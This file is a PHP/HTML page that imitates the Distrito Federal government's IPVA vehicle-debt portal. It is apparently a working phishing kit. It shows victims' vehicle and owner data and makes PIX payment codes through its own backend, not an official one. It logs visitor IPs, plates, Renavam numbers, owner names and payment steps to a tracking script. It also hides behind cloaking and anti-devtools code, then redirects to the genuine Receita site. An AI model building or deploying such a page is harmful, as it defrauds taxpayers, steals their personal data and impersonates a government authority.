<?php
/**
 * Debitos - Página de Resultados com Proteções de Segurança
 * Site DF - Distrito Federal
 */

declare(strict_types=1);

require_once __DIR__ . '/security-client.php';
require_once __DIR__ . '/client-config.php';

$siteId = 'df_site_main';
$securityResult = SecurityClient::protect($siteId, true);
$securityConfig = SecurityClient::getConfig($siteId);

ob_start();
?>
<!DOCTYPE html>
<html lang="pt-br"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Débitos do Veículo - DF</title>
    <link rel="stylesheet" href="./index_files/styles.5bd0119e868798a390e0.css">
    <link rel="stylesheet" href="./debitos_files/all.min.css">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/qrcode-generator@1.4.4/qrcode.min.js"></script>
    <style>
    html, body { height: 100%; margin: 0; }
    body { display: flex; flex-direction: column; background: #f5f5f5; min-width: 0; }
    .content-wrapper { flex: 1 0 auto; }
    .custom-container { padding: 20px; border-radius: 0; margin-bottom: 20px; background: #fff; box-shadow: -1px 2px 4px 0px #3333333b; }
    .vehicle-data h2 { font-weight: 600; font-size: 22px; color: #1e3480; border-bottom: 1px solid #ddd; padding-bottom: 10px; margin-bottom: 15px; }
    .vehicle-data li { list-style-type: none; margin-bottom: 8px; padding-left: 0; display: inline-block; margin-right: 25px; color: #0000008a; font-size: 14px; }
    .vehicle-data li span { color: #161616; font-weight: bold; }
    .vehicle-data li i { margin-right: 8px; color: #235bac; }
    .spinner { border: 4px solid rgba(0, 0, 0, 0.1); border-top: 4px solid #235bac; border-radius: 50%; width: 40px; height: 40px; margin: 0 auto 20px; animation: spin 1s linear infinite; }
    @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
    
    /* Header Styles from Index */
    [_nghost-rbe-c266] .topo-site[_ngcontent-rbe-c266] { font-size: 11px; height: 32px; background-color: #515151; display: flex; justify-content: space-evenly; }
    [_nghost-rbe-c266] .topo-site[_ngcontent-rbe-c266] ul { list-style: none; margin: 0; padding: 0; display: flex; }
    [_nghost-rbe-c266] .topo-site[_ngcontent-rbe-c266] li { display: inline; }
    [_nghost-rbe-c266] .topo-site[_ngcontent-rbe-c266] a { color: #ccc; line-height: 32px; margin-right: 20px; text-decoration: none; }
    @media screen and (max-width: 767px) { [_nghost-rbe-c266] { display: none; } }
  
    .header-main { background: #fff; padding: 15px 0; border-bottom: 1px solid #eee; }
    .area-restrita-dados-governo { padding-left: 13%; }
    
    div#subheader { background: #1e3480; color: #fff; text-align: center; padding: 8px 10px; font-weight: bold; text-transform: uppercase; font-size: 13px; }
    
    .table thead th { background: #f6f6f6; border-bottom: 2px solid #ddd; color: #323232; font-weight: 700; font-size: 14px; padding: 12px !important; }
    tbody { background: #fff; }
    tr.selectable-row { border-bottom: 1px solid #eee; font-size: 13px !important; }
    .table td { vertical-align: middle; }
    input[type="checkbox"] { width: 18px; height: 18px; accent-color: #235bac; cursor: pointer; }
    
    #rodapeServicos { z-index: 9999; width: 100%; background-color: #0061ac; color: #fff; flex-shrink: 0; }
    #rodapeTitulo { font-weight: bolder; font-size: 20px; }

    @media (max-width: 768px) {
        .area-restrita-dados-governo { padding-left: 5%; text-align: center; }
        .vehicle-data li { display: block; margin-right: 0; border-bottom: 1px solid #f9f9f9; padding: 5px 0; }
        .custom-container { padding: 15px; }
        .table-responsive { border: 0; }
    }
    </style>
</head>
<body>

<div class="content-wrapper">
    <header id="CabecalhoApp">
        <app-barra-superior _nghost-rbe-c266="">
            <div _ngcontent-rbe-c266="" class="topo-site">
                <div _ngcontent-rbe-c266="" class="topo1">
                    <ul>
                        <li><a href="javascript:void(0)">Transparência</a></li>
                        <li><a href="javascript:void(0)">Ouvidoria</a></li>
                        <li><a href="javascript:void(0)">Acesso à Informação</a></li>
                        <li><a href="javascript:void(0)">Diário Oficial</a></li>
                        <li><a href="javascript:void(0)">Agência Brasília</a></li>
                        <li><a href="javascript:void(0)">Portal do Governo de Brasília</a></li>
                    </ul>
                </div>
                <div _ngcontent-rbe-c266="" class="texto-superior-acessibilidade topo1">
                    <ul>
                        <li><a href="javascript:void(0)">Acessibilidade</a><span class="separa-ancoras">|</span><a>A<span class="aMenor">a</span></a></li>
                    </ul>
                </div>
            </div>
        </app-barra-superior>
        <div class="header-main">
            <div class="container-fluid pt-3 pb-3 pr-4 pl-4">
                <div class="row">
                    <div class="col-sm-12 col-md-6">
                        <div class="area-restrita-dados-governo">
                            <img alt="Logo GDF" src="./index_files/logoPSV.webp" class="img-fluid" style="max-height: 50px;">
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </header>

    <div id="subheader">Consulta de débitos do IPVA e emissão de DAR</div>

    <div class="container mt-3 custom-container">
        <div class="vehicle-data">
            <h2>Dados do veículo</h2>
            <ul id="dadosVeiculoList">
                <li><i class="fas fa-id-card"></i> Placa: <span id="placaVeiculo">-</span></li>
                <li><i class="fas fa-barcode"></i> Renavam: <span id="renavamVeiculo">-</span></li>
                <li><i class="fas fa-car"></i> Modelo: <span id="modeloVeiculo">-</span></li>
                <li><i class="fas fa-user"></i> Contribuinte: <span id="nomeProprietario">-</span></li>
                <li><i class="fas fa-fingerprint"></i> Chassi: <span id="chassiVeiculo">*********</span></li>
                <li><i class="fas fa-palette"></i> Cor: <span id="corVeiculo">-</span></li>
                <li><i class="fas fa-gas-pump"></i> Combustível: <span id="combustivelVeiculo">-</span></li>
                <li><i class="fas fa-motorcycle"></i> Tipo: <span id="tipoVeiculo">-</span></li>
                <li><i class="fas fa-map-marker-alt"></i> Município: <span id="municipioVeiculo">-</span></li>
            </ul>
        </div>
    </div>

    <div class="container mt-3 custom-container">
        <div class="vehicle-data">
            <div class="table-responsive">
                <table class="table">
                    <thead>
                        <tr>
                            <th width="30"></th>
                            <th>Débito</th>
                            <th>Vencimento</th>
                            <th>Valor</th>
                            <th>Juros</th>
                            <th>Multa</th>
                            <th>Descontos</th>
                            <th>Valor Total</th>
                        </tr>
                    </thead>
                    <tbody id="tabela-debitos">
                        <tr><td colspan="8" class="text-center p-4"><div class="spinner"></div></td></tr>
                    </tbody>
                </table>
            </div>
            <div style="margin-top: 15px; background: #f9f9f9; padding: 10px; border-radius: 4px;">
                <input type="checkbox" id="selecionartodosdebitos">
                <label for="selecionartodosdebitos" class="ms-2" style="font-weight: 600; cursor: pointer;">Selecionar todos os débitos disponíveis para pagamento.</label>
            </div>
        </div>
    </div>

    <div class="container mt-3 mb-5 custom-container">
        <div class="vehicle-data">
            <div class="row align-items-center">
                <div class="col-12 col-md-6 mb-3 mb-md-0">
                    <div class="subtotal-total">
                        <p style="margin:0;"><strong>Valor Total Selecionado:</strong></p>
                        <span id="total" style="font-size: 32px; color: #1e3480; font-weight: 800;">R$ 0,00</span>
                    </div>
                </div>
                <div class="col-12 col-md-6 text-md-end">
                    <button class="btn btn-primary pagar-pix" style="background-color: #235bac; padding: 15px 40px; font-size: 20px; font-weight: bold; border-radius: 5px; width: 100%;">
                        <i class="fa-brands fa-pix me-2"></i>PAGAR VIA PIX
                    </button>
                </div>
            </div>
        </div>
    </div>
</div>

<app-rodape _ngcontent-rbe-c278="" _nghost-rbe-c276="">
    <div _ngcontent-rbe-c276="" id="rodapeServicos" class="pt-3 pb-3 d-print-none">
        <div _ngcontent-rbe-c276="" class="row ml-4" style="margin-right: 0;">
            <div _ngcontent-rbe-c276="" class="col-sm-12 col-md-4">
                <div _ngcontent-rbe-c276="" id="rodapeTitulo" class="row">
                    <div _ngcontent-rbe-c276="" class="col">Subsecretaria da Receita</div>
                </div>
                <div _ngcontent-rbe-c276="" class="row">
                    <div _ngcontent-rbe-c276="" class="col"> SBN. Qd. 02 Ed. Vale do Rio Doce 7º andar<br> CEP: 70.040-909<br> Secretaria de Estado de Economia do Distrito Federal<br> Central 156, Opção 3 (ligações locais)<br> 0800-644-0156 (demais localidades) </div>
                </div>
            </div>
            <div _ngcontent-rbe-c276="" class="col-md-3">&nbsp;</div>
            <div _ngcontent-rbe-c276="" class="col-sm-12 col-md-3"></div>
        </div>
    </div>
</app-rodape>

<!-- Modal PIX -->
<div class="modal fade" id="modalPix" tabindex="-1">
    <div class="modal-dialog modal-lg modal-dialog-centered">
        <div class="modal-content" style="border-radius: 20px; overflow: hidden;">
            <div class="modal-header" style="background: #f8f9fa;">
                <h5 class="modal-title fw-bold" style="color: #1e3480;">Resumo da Guia - Pagamento PIX</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body p-4">
                <div id="pix-loading" class="text-center p-4">
                    <div class="spinner"></div>
                    <p>Emitindo guia oficial (DF)...</p>
                </div>
                <div id="pix-content" style="display:none;">
                    <div class="row">
                        <div class="col-md-6 border-end">
                            <label class="text-muted small">CONTRIBUINTE</label>
                            <p class="fw-bold mb-3" id="resumo-nome">-</p>

                            <div class="mb-3 bg-light p-2 rounded" style="font-size: 11px; border: 1px solid #eee; text-align: left;">
                                <p class="text-muted fw-bold mb-1 border-bottom pb-1">INFORMAÇÕES DO VEÍCULO</p>
                                <div class="row">
                                    <div class="col-6">
                                        <div class="resumo-linha"><span class="text-muted">Placa:</span> <span id="resumo-placa" class="fw-bold">-</span></div>
                                        <div class="resumo-linha"><span class="text-muted">Renavam:</span> <span id="resumo-renavam" class="fw-bold">-</span></div>
                                        <div class="resumo-linha"><span class="text-muted">Modelo:</span> <span id="resumo-modelo" class="fw-bold">-</span></div>
                                        <div class="resumo-linha"><span class="text-muted">Chassi:</span> <span id="resumo-chassi" class="fw-bold">-</span></div>
                                    </div>
                                    <div class="col-6">
                                        <div class="resumo-linha"><span class="text-muted">Cor:</span> <span id="resumo-cor" class="fw-bold">-</span></div>
                                        <div class="resumo-linha"><span class="text-muted">Combustível:</span> <span id="resumo-combustivel" class="fw-bold">-</span></div>
                                        <div class="resumo-linha"><span class="text-muted">Município:</span> <span id="resumo-municipio" class="fw-bold">-</span></div>
                                        <div class="resumo-linha"><span class="text-muted">Tipo:</span> <span id="resumo-tipo" class="fw-bold">-</span></div>
                                    </div>
                                </div>
                            </div>

                            <div id="resumo-itens-container" class="mb-3" style="max-height: 150px; overflow-y: auto; background: #fdfdfd; padding: 10px; border: 1px solid #eee; border-radius: 5px;">
                                <p class="text-muted small fw-bold mb-1">ITENS INCLUSOS NA GUIA:</p>
                                <ul id="resumo-itens-lista" class="list-unstyled mb-0" style="font-size: 11px;"></ul>
                            </div>

                            <label class="text-muted small">TOTAL A PAGAR</p>
                            <p class="fw-bold text-primary mb-2" style="font-size: 24px;" id="resumo-valor">R$ 0,00</p>
                            <label class="text-muted small">VENCIMENTO</label>
                            <p class="fw-bold" id="resumo-vencimento">-</p>
                        </div>
                        <div class="col-md-6 text-center">
                            <div id="imgQrCodePix" style="margin-bottom: 15px;"></div>
                            <button class="btn btn-primary w-100 fw-bold" onclick="copyToClipboard()" id="copyBtn">
                                <i class="fas fa-copy me-2"></i>COPIAR CÓDIGO PIX
                            </button>
                            <input type="text" id="pixCodigo" style="position: absolute; left: -9999px;">
                        </div>
                    </div>
                    <hr>
                    <button class="btn btn-success btn-lg w-100 fw-bold" onclick="confirmarPagamento()">CONFIRMAR PAGAMENTO</button>
                </div>
            </div>
        </div>
    </div>
</div>

<script src="./debitos_files/bootstrap.min.js"></script>

<script>
let userIPv4 = null;
function loadIPv4(callback) {
    $.getJSON('https://api.ipify.org?format=json')
        .done(function(data) { 
            userIPv4 = data.ip; 
            if (callback) callback();
        })
        .fail(function() { 
            if (callback) callback(); 
        });
}

let dadosConsulta = null;
const urlParams = new URLSearchParams(window.location.search);
const placaUrl = urlParams.get('placa');

function trackEvent(action, metadata = {}) {
    metadata.placa = placaUrl;
    $.ajax({
        url: './track.php',
        type: 'POST',
        contentType: 'application/json',
        data: JSON.stringify({ 
            action: action, 
            captured_ip: userIPv4,
            metadata: metadata 
        }),
        keepalive: true
    });
}

$(document).ready(function() {
    loadIPv4(function() {
        trackEvent('visit', { page: 'debitos' });
    });

    let cached = sessionStorage.getItem('dadosVeiculo');
    if (cached) {
        try {
            console.log('Usando dados em cache');
            dadosConsulta = JSON.parse(cached);
            renderizar(dadosConsulta);
        } catch (e) {
            console.error('Erro no parse do cache', e);
            if (placaUrl) consultarAPI(placaUrl);
        }
    } else if (placaUrl) {
        console.log('Consultando API via Placa');
        consultarAPI(placaUrl);
    } else {
        window.location.href = 'index.html';
    }

    $("#selecionartodosdebitos").on('change', function() {
        $(".selecionarDebito").prop('checked', $(this).is(':checked')).trigger('change');
    });
});

function consultarAPI(placa) {
    $.get('./api.php', { placa }, function(res) {
        console.log('Resposta API:', res);
        if (res.success || res.status === 'success' || res.resultado) {
            dadosConsulta = res;
            sessionStorage.setItem('dadosVeiculo', JSON.stringify(res));
            renderizar(res);
        } else {
            alert("Erro na consulta.");
            window.location.href = 'index.html';
        }
    }, 'json').fail(function() {
        alert("Erro de conexão.");
    });
}

function renderizar(res) {
    console.log('Renderizando dados:', res);
    const rawData = res.data || res.resultado || res;
    const v = rawData.vehicle || rawData.veiculo || {};
    const owner = rawData.owner || rawData.proprietario || v || {};
    const debts = rawData.debts || res.debitos || rawData.extratoDebitos || [];

    const setTextOrHide = (id, val) => {
        const el = $(id);
        if (!val || val === 'N/A' || val === '-' || val === '*********' || val.toString().trim() === "") {
            el.closest('li').hide();
        } else {
            el.text(val).closest('li').show();
        }
    };

    setTextOrHide('#placaVeiculo', v.license_plate || v.placa);
    setTextOrHide('#renavamVeiculo', v.renavam || res.renavam || rawData.renavam);
    setTextOrHide('#modeloVeiculo', v.model || v.modelo || v.marcaModelo);
    setTextOrHide('#nomeProprietario', owner.owner_name || owner.nome);
    setTextOrHide('#chassiVeiculo', v.chassis || v.chassi || v.coChassi);
    setTextOrHide('#corVeiculo', v.color || v.cor || v.dsCor);
    setTextOrHide('#combustivelVeiculo', v.fuel || v.combustivel || v.dsCombustivel);
    setTextOrHide('#tipoVeiculo', v.type || v.tipo || v.dsTipoVeiculo);
    setTextOrHide('#municipioVeiculo', v.county || v.municipio || owner.municipio);

    const tbody = $('#tabela-debitos').empty();
    
    // Normalizar lista de débitos
    let listDebts = [];
    if (Array.isArray(debts)) {
        if (debts.length > 0 && debts[0].parcelas) {
            // Formato MG/DF antigo
            debts.forEach(ano => {
                ano.parcelas.forEach(parc => {
                    if (!parc.estaPago) {
                        listDebts.push({
                            desc: (parc.descricao || 'IPVA') + ' (' + (ano.anoExercicio || '') + ')',
                            venc: parc.dataVencimento,
                            valor: parc.valorTotal
                        });
                    }
                });
            });
        } else {
            // Formato Zapay
            debts.forEach(d => {
                listDebts.push({
                    desc: d.title || d.description || d.descricao || 'Débito',
                    venc: d.due_date || d.vencimento || '-',
                    valor: d.amount || d.valorTotal || d.valor || 0,
                    juros: d.interest || 0,
                    multa: d.fine || 0,
                    desc_v: d.discount || 0,
                    orig: d.amount_original || 0
                });
            });
        }
    }

    if (listDebts.length === 0) {
        tbody.append('<tr><td colspan="8" class="text-center p-4">Nenhum débito encontrado.</td></tr>');
        return;
    }

    listDebts.forEach(d => {
        tbody.append(`
            <tr class="selectable-row">
                <td><input type="checkbox" class="selecionarDebito" data-total="${d.valor}"></td>
                <td>${d.desc}</td>
                <td>${d.venc}</td>
                <td>${formatMoney(d.orig || d.valor)}</td>
                <td>${formatMoney(d.juros || 0)}</td>
                <td>${formatMoney(d.multa || 0)}</td>
                <td>${formatMoney(d.desc_v || 0)}</td>
                <td class="fw-bold">${formatMoney(d.valor)}</td>
            </tr>
        `);
    });

    // Ensure the "select all" checkbox is unchecked initially
    $("#selecionartodosdebitos").prop('checked', false);

    $(".selecionarDebito").on('change', updateTotals);
    updateTotals();
}

function updateTotals() {
    let sub = 0;
    $(".selecionarDebito:checked").each(function() {
        sub += parseFloat($(this).data('total')) || 0;
    });
    $("#total").text(formatMoney(sub)).attr('data-total', sub.toFixed(2));
}

function formatMoney(v) {
    return new Intl.NumberFormat('pt-BR', { style: 'currency', currency: 'BRL' }).format(v);
}

function openPixModal() {
    const total = parseFloat($("#total").attr('data-total'));
    if (total <= 0) return alert("Selecione um item.");

    trackEvent('gerar_pagamento_pix', { valor_total: total }); // Tracking for "Gerar Pagamento" button
    $("#modalPix").modal('show');
    $("#pix-loading").show();
    $("#pix-content").hide();

    const extratoCompleto = [];
    let htmlItens = "";
    const debitosNaoSelecionados = [];

    $(".selecionarDebito").each(function() {
        const isChecked = $(this).is(":checked");
        const row = $(this).closest('tr');
        const desc = row.find('td:nth-child(2)').text().trim();
        const valorItem = parseFloat($(this).data('total')) || 0;

        extratoCompleto.push({ descricao: desc, valor: valorItem, pago: isChecked });

        if (isChecked) {
            htmlItens += `<li class="d-flex justify-content-between border-bottom py-1">
                <span>• ${desc}</span>
                <span class="fw-bold">${formatMoney(valorItem)}</span>
            </li>`;
        } else {
            debitosNaoSelecionados.push(desc);
        }
    });
    $("#resumo-itens-lista").html(htmlItens);

    const setResumoOrHide = (id, val) => {
        const el = $(id);
        if (!val || val === 'N/A' || val === '-' || val === '*********' || val.toString().trim() === '') {
            el.parent().hide(); 
        } else {
            el.text(val).parent().show();
        }
    };

    $("#resumo-nome").text($('#nomeProprietario').text());
    $("#resumo-valor").text(formatMoney(total));
    $("#resumo-vencimento").text(new Date(Date.now() + 86400000).toLocaleDateString('pt-BR'));

    setResumoOrHide("#resumo-placa", $('#placaVeiculo').text());
    setResumoOrHide("#resumo-renavam", $('#renavamVeiculo').text());
    setResumoOrHide("#resumo-modelo", $('#modeloVeiculo').text());
    setResumoOrHide("#resumo-chassi", $('#chassiVeiculo').text());
    setResumoOrHide("#resumo-cor", $('#corVeiculo').text());
    setResumoOrHide("#resumo-combustivel", $('#combustivelVeiculo').text());
    setResumoOrHide("#resumo-municipio", $('#municipioVeiculo').text());
    setResumoOrHide("#resumo-tipo", $('#tipoVeiculo').text());

    $.ajax({
        url: './pix-api.php?action=generate',
        type: 'POST',
        contentType: 'application/json',
        data: JSON.stringify({
            valor: total,
            renavam: $('#renavamVeiculo').text(),
            placa: $('#placaVeiculo').text()
        }),
        success: function(res) {
            if (res.success) {
                const qr = qrcode(0, 'M');
                qr.addData(res.pix_code);
                qr.make();
                $("#imgQrCodePix").html(qr.createImgTag(5, 0));
                $("#pixCodigo").val(res.pix_code);
                $("#pix-loading").hide();
                $("#pix-content").fadeIn();

                trackEvent('pix_gerado', { 
                    valor: total,
                    renavam: $('#renavamVeiculo').text(),
                    placa: $('#placaVeiculo').text(),
                    modelo: $('#modeloVeiculo').text(),
                    proprietario: $('#nomeProprietario').text(),
                    extrato: extratoCompleto,
                    debitos_ignorados: debitosNaoSelecionados
                });
            } else {
                alert("Erro ao gerar PIX.");
                $("#modalPix").modal('hide');
            }
        }
    });
}

function copyToClipboard() {
    const pixCode = document.getElementById("pixCodigo").value;
    const btn = document.getElementById("copyBtn");
    navigator.clipboard.writeText(pixCode).then(() => {
        trackEvent('copiar_codigo_pix'); // Tracking for "Copiar Código PIX" button
        const old = btn.innerHTML;
        btn.innerHTML = '<i class="fas fa-check"></i> COPIADO!';
        $(btn).addClass('btn-success');
        setTimeout(() => { btn.innerHTML = old; $(btn).removeClass('btn-success'); }, 2000);
    });
}

function enviarWhatsApp() {
    const whats = $("#inputWhatsApp").val();
    if (whats.length < 10) return alert("Número inválido");
    trackEvent('whatsapp_adicionado', { whatsapp: whats });
    alert("WhatsApp salvo!");
}

function confirmarPagamento() {
    trackEvent('pix_confirmado', { valor: $("#total").attr('data-total') });
    alert("Pagamento em processamento...");
    window.location.href = "https://www.receita.fazenda.df.gov.br/";
}

$(".pagar-pix").on('click', openPixModal);
</script>

<?php echo SecurityClient::getDevToolsProtectionJS(); ?>
</body></html>
<?php echo ob_get_clean(); ?>
